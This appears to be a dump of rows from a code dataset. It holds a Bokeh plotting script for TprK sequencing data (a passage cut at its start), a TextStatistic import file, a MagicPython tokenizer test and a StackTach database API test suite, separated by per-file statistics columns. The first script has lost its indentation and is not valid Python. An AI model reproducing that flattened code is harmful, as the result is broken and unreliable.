parser.add_argument('metadata', help='metadata.csv, same as used with tprk_pipeline.py')
parser.add_argument('-svg', action='store_true', help='Use this flag to output graphs in .svg format. '
'By default, plots will be in .html.'),
parser.add_argument('-large', action='store_true', help='Use this flag to output graphs that are too large.')
try:
args = parser.parse_args()
except:
parser.print_help()
sys.exit(0)
df = pd.read_csv(args.alldata_filtered,index_col=False)
metadata_file = args.metadata
source = ColumnDataSource(df)
first_row = list(df)
# Get list of sample names from metadata file and make xaxis spots for all of them.
sample_list = []
sample_xaxis = []
read_metadata_file = open(metadata_file, "r",encoding='utf-8-sig')
metadata_file_lines = read_metadata_file.readlines()
for paired_samples in metadata_file_lines:
sample, illumina_sample, pacbio_sample = paired_samples.split(",")
if(sample!="SampleName"):
if(sample in sname for sname in first_row):
sample_list.append(sample)
sample_xaxis.append(len(sample_list)*10)
else:
print(sample, " is in metadata but not in allreads_filtered.csv.")
variable_regions_list = ['V1','V2','V3','V4','V5','V6','V7']
variable_region_figs = []
variable_region_hms = []
df_columns = list(df)
sample_list.sort()
# Drop PacBio columns
for column in df_columns:
if "PB_" in column or "Count" in column:
df = df.drop(labels=column, axis=1)
df_columns = list(df)
# Replace NaNs with 0s
df.fillna(0, inplace=True)
# Initialize palettes
blues = brewer['Blues'][9][0:7]
bugn = brewer['BuGn'][9][0:7]
bupu = brewer['Purples'][8][0:7]
orrd = brewer['OrRd'][9][0:7]
gnbu = brewer['GnBu'][9][0:7]
purd = brewer['PuRd'][9][0:7]
ylgn = brewer['YlGn'][9][0:7]
for variable_region in variable_regions_list:
region_df = df.loc[df.Region==variable_region]
region_df = region_df.drop(labels="Region", axis=1)
color_num = 0
sample_reads = []
hm_x = []
hm_y = []
hm_values = []
hm_yaxis = []
if (args.large):
fwidth = 1800
else:
fwidth = 1500
fig = figure(x_range = sample_list, y_range = (0,105), tools = "hover", tooltips = "$name",
plot_height = 900, plot_width = fwidth, min_border_left = 200,
title = variable_region, toolbar_location = None, sizing_mode = "scale_width")
data = {'samples': sample_list}
configure_plot(fig, sample_list, sample_xaxis)
for index, row in region_df.iterrows():
read_seq = row[0]
sample_frequencies = []
num = 0
row_parts_all_zero = True
for i, row_parts in enumerate(row):
if(i!=0):
num = float(row_parts)
if(float(num)!=0):
row_parts_all_zero = False
hm_x.append(sample_list[i-1])
hm_y.append(read_seq)
hm_values.append(num)
sample_frequencies.append(num)
# Only use rows with actual data in it
if not row_parts_all_zero and read_seq!="":
sample_reads.append(read_seq)
data[read_seq] = sample_frequencies
color_num = color_num + 1
fig.vbar_stack(sample_reads, x = 'samples', width = 0.9, source=data,
fill_color=color_palette[0:len(sample_reads)], fill_alpha = 1, hover_alpha = 0.6,
hover_color = color_palette[0:len(sample_reads)], line_alpha = 0,
)
variable_region_figs.append(fig)
# Rotate x-axis labels
fig.xaxis.major_label_orientation = pi/4
df2 = pd.DataFrame()
df2['x']=hm_x
df2['y']=hm_y
df2['values']=hm_values
source = ColumnDataSource(df2)
if(variable_region=="V1"):
brew_pal = blues
elif(variable_region=="V2"):
brew_pal = bugn
elif(variable_region=="V3"):
brew_pal = bupu
elif(variable_region=="V4"):
brew_pal = orrd
elif(variable_region=="V5"):
brew_pal = gnbu
elif(variable_region=="V6"):
brew_pal = ylgn
else:
brew_pal = purd
# Reverse the colors so darker colors at max
brew_pal = brew_pal[::-1]
mapper = LinearColorMapper(palette=brew_pal, low=1, high=100, low_color = "#ffffff")
# Set different scales of plot sizes for large datasets
if(args.large):
pheight = (len(sample_reads)*15)
pwidth = (len(sample_list)*18) + (len(max(sample_reads, key = len)) * 8)
else:
pheight = (len(sample_reads)*22)
pwidth = (len(sample_list)*28) + (len(max(sample_reads, key = len)) * 10)
hm = figure(
x_range=sample_list, y_range=sample_reads, title = variable_region,
toolbar_location = None, x_axis_location = "above", #background_fill_color = "#d3d3d3",
plot_height = int(pheight),
plot_width = int(pwidth),
#aspect_scale = 1, match_aspect = True,
#sizing_mode = "scale_both",
min_border_right = 80,
min_border_bottom = 80,
y_axis_location = "left",
tooltips=[('Read','@y'),('Strain','@x'),('Frequency','@values'+"%")])
hm.rect(x='x', y='y', width = 1, height = 1, source=source,
line_color=None, fill_color=transform('values', mapper), hover_line_color = 'black',
hover_color = transform('values',mapper))
color_bar = ColorBar(color_mapper = mapper, major_label_text_font_size="5pt",
ticker=BasicTicker(desired_num_ticks=len(purd)),
formatter=PrintfTickFormatter(format="%d%%"),
label_standoff=6, border_line_color=None, location=(0, 0))
hm.add_layout(color_bar, 'right')
hm.xaxis.major_label_orientation = 1.0
hm.grid.grid_line_color = None
hm.axis.axis_line_color = None
hm.axis.major_tick_line_color = None
hm.background_fill_color = None
hm.border_fill_color = None
hm.title.text_font_size = "16pt"
variable_region_hms.append(hm)
if args.large:
output_file("all_heatmap_"+variable_region+".html", title = "Heatmap for Region " + variable_region)
save(hm)
output_file("all_variable_region_"+variable_region+".html", title = "Variable Regions for Region " + variable_region)
save(fig)
if args.svg:
# for myfig in variable_region_figs:
# myfig.output_backend = "svg"
# output_filename = myfig.title.text + ".svg"
# output_file(output_filename)
# export_svgs(myfig, filename=output_filename)
for myhm in variable_region_hms:
myhm.output_backend = "svg"
output_filename = myhm.title.text + "_heatmap.svg"
output_file(output_filename)
export_svgs(myhm, filename=output_filename)
else:
if not args.large:
grid = gridplot(variable_region_figs, ncols=1)
output_file("all_variable_regions.html")
save(grid)
grid2 = gridplot(variable_region_hms,ncols=1)
output_file("all_heatmap.html", title = "Heatmap")
save(grid2)
| 355.179856 | 996 | 0.559773 | 14,039 | 148,110 | 5.885889 | 0.047867 | 0.005228 | 0.007842 | 0.010456 | 0.946195 | 0.94363 | 0.940943 | 0.9377 | 0.936877 | 0.936877 | 0 | 0.358952 | 0.085497 | 148,110 | 416 | 997 | 356.033654 | 0.251117 | 0.003923 | 0 | 0.537037 | 0 | 0 | 0.616849 | 0.000319 | 0 | 0 | 0 | 0 | 0 | 1 | 0.002646 | false | 0 | 0.044974 | 0 | 0.047619 | 0.005291 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
f07fd6f9987d6ce12f29fd63fb0d6e0e8a3e4152 | 287 | py | Python | scr/TextStatistic/__init__.py | ShadowStalker13/TextStatistics | 5535ffa8319c324af1c3444514b19c17dd088cb7 | [
"MIT"
] | null | null | null | scr/TextStatistic/__init__.py | ShadowStalker13/TextStatistics | 5535ffa8319c324af1c3444514b19c17dd088cb7 | [
"MIT"
] | null | null | null | scr/TextStatistic/__init__.py | ShadowStalker13/TextStatistics | 5535ffa8319c324af1c3444514b19c17dd088cb7 | [
"MIT"
] | null | null | null | from scr.TextStatistic.TextStatistic import get_words
from scr.TextStatistic.TextStatistic import words_into_dict
from scr.TextStatistic.TextStatistic import count_words
from scr.TextStatistic.TextStatistic import count_unique_words
from scr.TextStatistic.TextStatistic import all_words
| 47.833333 | 62 | 0.89547 | 37 | 287 | 6.756757 | 0.297297 | 0.14 | 0.4 | 0.66 | 0.88 | 0.724 | 0 | 0 | 0 | 0 | 0 | 0 | 0.069686 | 287 | 5 | 63 | 57.4 | 0.93633 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
b2cee7438fde6a0cdea838a94044bf1373d32d9b | 1,317 | py | Python | test/statements/import4.py | kylebarron/MagicPython | da6fa0793e2c85d3bf7709ff1d4f65ccf468db11 | [
"MIT"
] | 1,482 | 2015-10-16T21:59:32.000Z | 2022-03-30T11:44:40.000Z | test/statements/import4.py | kylebarron/MagicPython | da6fa0793e2c85d3bf7709ff1d4f65ccf468db11 | [
"MIT"
] | 226 | 2015-10-15T15:53:44.000Z | 2022-03-25T03:08:27.000Z | test/statements/import4.py | kylebarron/MagicPython | da6fa0793e2c85d3bf7709ff1d4f65ccf468db11 | [
"MIT"
] | 129 | 2015-10-20T02:41:49.000Z | 2022-03-22T01:44:36.000Z | from....foo import a
from...foo import b
from..foo import c
from.foo import d
from : keyword.control.import.python, source.python
.... : punctuation.separator.period.python, source.python
foo : source.python
: source.python
import : keyword.control.import.python, source.python
: source.python
a : source.python
from : keyword.control.import.python, source.python
... : punctuation.separator.period.python, source.python
foo : source.python
: source.python
import : keyword.control.import.python, source.python
: source.python
b : source.python
from : keyword.control.import.python, source.python
.. : punctuation.separator.period.python, source.python
foo : source.python
: source.python
import : keyword.control.import.python, source.python
: source.python
c : source.python
from : keyword.control.import.python, source.python
. : punctuation.separator.period.python, source.python
foo : source.python
: source.python
import : keyword.control.import.python, source.python
: source.python
d : source.python
| 36.583333 | 66 | 0.595292 | 136 | 1,317 | 5.764706 | 0.102941 | 0.428571 | 0.459184 | 0.265306 | 0.908163 | 0.908163 | 0.908163 | 0.908163 | 0.908163 | 0.908163 | 0 | 0 | 0.310554 | 1,317 | 35 | 67 | 37.628571 | 0.863436 | 0 | 0 | 0.625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.375 | null | null | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 11 |
b2e0d1cdfb235a7c6676da04d0ff75dbe22acb9a | 16,946 | py | Python | cloudroast/stacktach/smoke/stacktach_db_api.py | lmaycotte/cloudroast | c1835aa45e0e86c755d4b24b33e12ba30eee1995 | [
"Apache-2.0"
] | null | null | null | cloudroast/stacktach/smoke/stacktach_db_api.py | lmaycotte/cloudroast | c1835aa45e0e86c755d4b24b33e12ba30eee1995 | [
"Apache-2.0"
] | null | null | null | cloudroast/stacktach/smoke/stacktach_db_api.py | lmaycotte/cloudroast | c1835aa45e0e86c755d4b24b33e12ba30eee1995 | [
"Apache-2.0"
] | null | null | null | """
Copyright 2013 Rackspace
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from datetime import datetime, timedelta
from cloudcafe.common.tools.time import string_to_datetime
from cloudroast.stacktach.fixtures import StackTachDBFixture
class StackTachDBTest(StackTachDBFixture):
def test_list_launches(self):
"""
@summary: Verify that List Launches records
returns 200 Success response
"""
response = self.stacktach_dbclient.list_launches()
self.assertEqual(response.status_code, 200,
self.msg.format("status code", "200",
response.status_code,
response.reason,
response.content))
self.verify_launches_entity_attribute_values(response.entity)
def test_list_deletes(self):
"""
@summary: Verify that List Deletes records
returns 200 Success response
"""
response = self.stacktach_dbclient.list_deletes()
self.assertEqual(response.status_code, 200,
self.msg.format("status code", "200",
response.status_code,
response.reason,
response.content))
self.verify_deletes_entity_attribute_values(response.entity)
def test_list_exists(self):
"""
@summary: Verify that List Exists records
returns 200 Success response
"""
response = self.stacktach_dbclient.list_exists()
self.assertEqual(response.status_code, 200,
self.msg.format("status code", "200",
response.status_code,
response.reason,
response.content))
self.verify_exists_entity_attribute_values(response.entity)
def test_get_launch(self):
"""
@summary: Verify that Get Launch record by event id
returns 200 Success response
"""
response = self.stacktach_dbclient.list_launches()
event_id = response.entity[0].id_
response = self.stacktach_dbclient.get_launch(event_id)
self.assertEqual(response.status_code, 200,
self.msg.format("status code", "200",
response.status_code,
response.reason,
response.content))
self.verify_launch_entity_attribute_values(response.entity)
def test_get_delete(self):
"""
@summary: Verify that Get Delete record by event id
returns 200 Success response
"""
response = self.stacktach_dbclient.list_deletes()
event_id = response.entity[0].id_
response = self.stacktach_dbclient.get_delete(event_id)
self.assertEqual(response.status_code, 200,
self.msg.format("status code", "200",
response.status_code,
response.reason,
response.content))
self.verify_delete_entity_attribute_values(response.entity)
def test_get_exist(self):
"""
@summary: Verify that Get Exist record by event id
returns 200 Success response
1. List all exists
2. Get the first exists entry's exists id
4. Check for exists id
"""
response = self.stacktach_dbclient.list_exists()
exists_id = response.entity[0].id_
response = self.stacktach_dbclient.get_exist(exists_id)
self.assertEqual(response.status_code, 200,
self.msg.format("status code", "200",
response.status_code,
response.reason,
response.content))
self.verify_exist_entity_attribute_values(response.entity)
def test_get_launches_by_date_min(self):
"""
@summary: Verify that Get Launches by minimum date
returns 200 Success response
"""
date_min = datetime.utcnow() - timedelta(days=int(self.days_passed))
response = (self.stacktach_db_behavior
.list_launches_by_date_min(launched_at_min=date_min))
self.assertEqual(response.status_code, 200,
self.msg.format("status code", "200",
response.status_code,
response.reason,
response.content))
self.verify_launches_entity_attribute_values(response.entity)
def test_get_launches_by_date_max(self):
"""
@summary: Verify that Get Launches by maximum date
returns 200 Success response
1. Get Launches for the past few days
2. Iterate through the list to look for a non null launched_at
3. Add 1 day to the launched at for maximum date filter
"""
date_min = datetime.utcnow() - timedelta(days=int(self.days_passed))
response = (self.stacktach_db_behavior
.list_launches_by_date_min(launched_at_min=date_min))
for launch in response.entity:
if launch.launched_at is not None:
launched_at = str(launch.launched_at)
break
# Microseconds may or may not be returned
date_obj = string_to_datetime(launched_at)
date_max = date_obj + timedelta(days=1)
response = (self.stacktach_db_behavior
.list_launches_by_date_max(launched_at_max=date_max))
self.assertEqual(response.status_code, 200,
self.msg.format("status code", "200",
response.status_code,
response.reason,
response.content))
self.verify_launches_entity_attribute_values(response.entity)
def test_get_launches_by_date_min_and_max(self):
"""
@summary: Verify that Get Launches by minimum and maximum date
returns 200 Success response
"""
date_max = datetime.utcnow()
date_min = datetime.utcnow() - timedelta(days=int(self.days_passed))
response = (self.stacktach_db_behavior
.list_launches_by_date_min_and_date_max(
launched_at_min=date_min,
launched_at_max=date_max))
self.assertEqual(response.status_code, 200,
self.msg.format("status code", "200",
response.status_code,
response.reason,
response.content))
self.verify_launches_entity_attribute_values(response.entity)
def test_get_deletes_by_date_min(self):
"""
@summary: Verify that Get Deletes by minimum date
returns 200 Success response
"""
date_min = datetime.utcnow() - timedelta(days=int(self.days_passed))
response = (self.stacktach_db_behavior
.list_deletes_by_date_min(deleted_at_min=date_min))
self.assertEqual(response.status_code, 200,
self.msg.format("status code", "200",
response.status_code,
response.reason,
response.content))
self.verify_deletes_entity_attribute_values(response.entity)
def test_get_deletes_by_date_max(self):
"""
@summary: Verify that Get Deletes by maximum date
returns 200 Success response
1. Get Deletes for the past few days
2. Choose the first deleted at for maximum date filter
"""
date_min = datetime.utcnow() - timedelta(days=int(self.days_passed))
response = (self.stacktach_db_behavior
.list_deletes_by_date_min(deleted_at_min=date_min))
deleted_at = response.entity[0].deleted_at
# Microseconds may or may not be returned
date_max = string_to_datetime(deleted_at)
response = (self.stacktach_db_behavior
.list_deletes_by_date_max(deleted_at_max=date_max))
self.assertEqual(response.status_code, 200,
self.msg.format("status code", "200",
response.status_code,
response.reason,
response.content))
self.verify_deletes_entity_attribute_values(response.entity)
def test_get_deletes_by_date_min_and_max(self):
"""
@summary: Verify that Get Deletes by minimum and maximum date
returns 200 Success response
"""
date_max = datetime.utcnow()
date_min = datetime.utcnow() - timedelta(days=int(self.days_passed))
response = (self.stacktach_db_behavior
.list_deletes_by_date_min_and_date_max(
deleted_at_min=date_min,
deleted_at_max=date_max))
self.assertEqual(response.status_code, 200,
self.msg.format("status code", "200",
response.status_code,
response.reason,
response.content))
self.verify_deletes_entity_attribute_values(response.entity)
def test_list_launches_for_uuid(self):
"""
@summary: Verify that List Launches by uuid
returns 200 Success response
"""
date_max = datetime.utcnow()
date_min = datetime.utcnow() - timedelta(days=int(self.days_passed))
response = (self.stacktach_db_behavior
.list_launches_by_date_min_and_date_max(
launched_at_min=date_min,
launched_at_max=date_max))
uuid = response.entity[0].instance
response = (self.stacktach_db_behavior
.list_launches_for_uuid(instance=uuid))
self.assertEqual(response.status_code, 200,
self.msg.format("status code", "200",
response.status_code,
response.reason,
response.content))
self.verify_launches_entity_attribute_values(response.entity)
def test_list_deletes_for_uuid(self):
"""
@summary: Verify that List Deletes by uuid
returns 200 Success response
"""
date_max = datetime.utcnow()
date_min = datetime.utcnow() - timedelta(days=int(self.days_passed))
response = (self.stacktach_db_behavior
.list_deletes_by_date_min_and_date_max(
deleted_at_min=date_min,
deleted_at_max=date_max))
uuid = response.entity[0].instance
response = (self.stacktach_db_behavior
.list_deletes_for_uuid(instance=uuid))
self.assertEqual(response.status_code, 200,
self.msg.format("status code", "200",
response.status_code,
response.reason,
response.content))
self.verify_deletes_entity_attribute_values(response.entity)
def test_list_exists_for_uuid(self):
"""
@summary: Verify that List Exists by uuid
returns 200 Success response
1. Find a server that was deleted 2 days ago
2. End of audit period was 1 day ago
3. Check for exists event
"""
date_max = datetime.utcnow() - timedelta(days=2)
date_min = datetime.utcnow() - timedelta(days=int(self.days_passed))
response = (self.stacktach_db_behavior
.list_deletes_by_date_min_and_date_max(
deleted_at_min=date_min,
deleted_at_max=date_max))
uuid = response.entity[0].instance
response = (self.stacktach_db_behavior
.list_exists_for_uuid(instance=uuid))
self.assertEqual(response.status_code, 200,
self.msg.format("status code", "200",
response.status_code,
response.reason,
response.content))
self.verify_exists_entity_attribute_values(response.entity)
def verify_launch_entity_attribute_values(self, entity):
"""
@summary: Verify all attributes of a server launch is NOT None
"""
self.assertIsNotNone(entity.id_)
self.assertIsNotNone(entity.request_id)
self.assertIsNotNone(entity.instance)
self.assertIsNotNone(entity.tenant)
self.assertIsNotNone(entity.os_distro)
self.assertIsNotNone(entity.os_version)
self.assertIsNotNone(entity.instance_type_id)
self.assertIsNotNone(entity.instance_flavor_id)
self.assertIsNotNone(entity.launched_at)
self.assertIsNotNone(entity.os_architecture)
self.assertIsNotNone(entity.rax_options)
def verify_launches_entity_attribute_values(self, response_entity):
"""
@summary: Verify all attributes of the server launches list is NOT None
"""
self.assertGreaterEqual(len(response_entity), 1,
msg="The response content is blank")
for element in response_entity:
self.verify_launch_entity_attribute_values(element)
def verify_exist_entity_attribute_values(self, entity):
"""
@summary: Verify all attributes of a server exist is NOT None
"""
self.assertIsNotNone(entity.id_)
self.assertIsNotNone(entity.raw)
self.assertIsNotNone(entity.message_id)
self.assertIsNotNone(entity.instance)
self.assertIsNotNone(entity.instance_type_id)
self.assertIsNotNone(entity.instance_flavor_id)
self.assertIsNotNone(entity.launched_at)
self.assertIsNotNone(entity.tenant)
self.assertIsNotNone(entity.status)
self.assertIsNotNone(entity.send_status)
self.assertIsNotNone(entity.received)
self.assertIsNotNone(entity.os_distro)
self.assertIsNotNone(entity.os_architecture)
self.assertIsNotNone(entity.os_version)
self.assertIsNotNone(entity.rax_options)
self.assertIsNotNone(entity.audit_period_beginning)
self.assertIsNotNone(entity.audit_period_ending)
self.assertIsNotNone(entity.bandwidth_public_out)
def verify_exists_entity_attribute_values(self, response_entity):
"""
@summary: Verify all attributes of the server exists list is NOT None
"""
self.assertGreaterEqual(len(response_entity), 1,
msg="The response content is blank")
for element in response_entity:
self.verify_exist_entity_attribute_values(element)
def verify_delete_entity_attribute_values(self, entity):
"""
@summary: Verify all attributes of a server delete is NOT None
"""
self.assertIsNotNone(entity.id_)
self.assertIsNotNone(entity.raw)
self.assertIsNotNone(entity.instance)
self.assertIsNotNone(entity.deleted_at)
self.assertIsNotNone(entity.launched_at)
def verify_deletes_entity_attribute_values(self, response_entity):
"""
@summary: Verify all attributes of the server delete list is NOT None
"""
self.assertGreaterEqual(len(response_entity), 1,
msg="The response content is blank")
for element in response_entity:
self.verify_delete_entity_attribute_values(element)
| 43.675258 | 79 | 0.583205 | 1,753 | 16,946 | 5.388477 | 0.104392 | 0.047639 | 0.089985 | 0.033347 | 0.851683 | 0.823629 | 0.785729 | 0.765615 | 0.705272 | 0.673407 | 0 | 0.015266 | 0.346749 | 16,946 | 387 | 80 | 43.788114 | 0.838031 | 0.16824 | 0 | 0.754237 | 0 | 0 | 0.022172 | 0 | 0 | 0 | 0 | 0 | 0.220339 | 1 | 0.088983 | false | 0.038136 | 0.012712 | 0 | 0.105932 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.